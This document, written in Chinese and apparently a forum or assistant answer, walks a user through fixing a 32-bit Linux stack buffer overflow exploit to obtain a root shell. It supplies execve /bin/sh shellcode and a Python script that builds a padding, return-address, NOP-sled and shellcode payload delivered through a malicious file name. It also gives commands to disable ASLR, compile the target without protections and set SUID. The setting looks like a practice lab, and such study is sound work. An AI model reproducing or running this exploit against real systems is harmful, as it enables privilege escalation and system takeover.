缓冲区溢出漏洞利用:构造Payload后无法获取Root Shell求助
看起来你已经走对了不少关键步骤——定位溢出点、确定栈地址、准备shellcode,但就是差最后一步拿到root shell对吧?我来帮你排查几个最容易踩的坑,一步步解决问题:
1. 先确认最基础的权限问题:目标程序有没有SUID权限?
这是新手最容易忽略的点:如果你要溢出的程序本身不是root所有且设置了SUID位,那就算溢出成功,shellcode执行的也是当前普通用户的权限,自然拿不到root shell。
你可以先检查程序权限:
ls -l <你的目标程序名>
如果权限列不是类似-rwsr-xr-x(注意开头的s),且所有者不是root,那先给程序加SUID:
sudo chown root:root <目标程序名> sudo chmod u+s <目标程序名>
2. Payload的顺序完全搞反了!
你现在的payload是shellcode + ret_addr + "\x90"*12,这是核心错误!正确的溢出payload结构应该是:
[填充字节(覆盖缓冲区+EBP)] + [返回地址(指向栈上的shellcode/NOP雪橇)] + [NOP雪橇] + [shellcode]
你的逻辑是:用填充字节覆盖到函数的返回地址位置,把返回地址改成栈上的某个位置(比如ESP指向的栈空间),然后程序跳转到这个地址后,通过NOP雪橇滑到shellcode执行。
按照你找到的padding(AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII,共36字节),修正后的payload应该是这样:
import struct # 32位Linux无NULL字节的root shellcode shellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" ) # 填充到返回地址的位置:对应你找到的36字节padding padding = "\x90" * 36 # 返回地址:指向栈上NOP雪橇的位置(比如你之前的ESP地址0xbfffef40) ret_addr = struct.pack("I", 0xbfffef40) # NOP雪橇:增加容错率,就算返回地址有小偏移也能滑到shellcode nop_sled = "\x90" * 100 # 正确的payload结构 payload = padding + ret_addr + nop_sled + shellcode # 生成恶意文件名 filename = "exploit." + payload print(filename)
3. 返回地址的偏移和栈布局问题
gdb的运行环境和直接运行程序的环境(比如环境变量、命令行参数)不一样,会导致栈地址偏移变化——你在gdb里拿到的ESP地址0xbfffef40,直接运行程序时可能会变。
解决办法:
- 用更长的NOP雪橇(比如100个
\x90),就算返回地址有±10字节的偏差,也能滑到shellcode里; - 关闭系统的ASLR(地址空间随机化),让栈地址固定:
sudo sysctl -w kernel.randomize_va_space=0
4. 目标程序的编译参数是否正确?
如果目标程序开启了栈保护(Stack Canary)或者DEP(数据执行保护),shellcode根本跑不起来。编译目标程序时必须关闭这些保护:
# 32位编译 + 关闭栈保护 + 开启栈可执行 gcc -m32 -z execstack -fno-stack-protector -o target target.c
5. 最后再验证shellcode的兼容性
你用的是32位Linux shellcode,这部分没问题,但要确认:
- shellcode里没有NULL字节(你的这段shellcode是干净的,没有
\x00,不会被strcpy截断); - 目标系统是32位Linux,或者你在64位系统上兼容运行32位程序(需要安装
lib32gcc1等依赖)。
最后一步:测试payload
修正完以上所有点后,直接在终端运行目标程序(不要在gdb里,因为gdb会改变栈布局),传入你生成的恶意文件名:
./target exploit.$(python your_exploit_script.py)
或者如果程序是读取目录下的文件名,就把生成的文件名放到程序会扫描的目录里,触发漏洞。
如果还是不行,你可以用gdb再调试一次,看程序跳转到返回地址后,栈上的内容是不是你预期的NOP雪橇+shellcode,一步步定位问题。




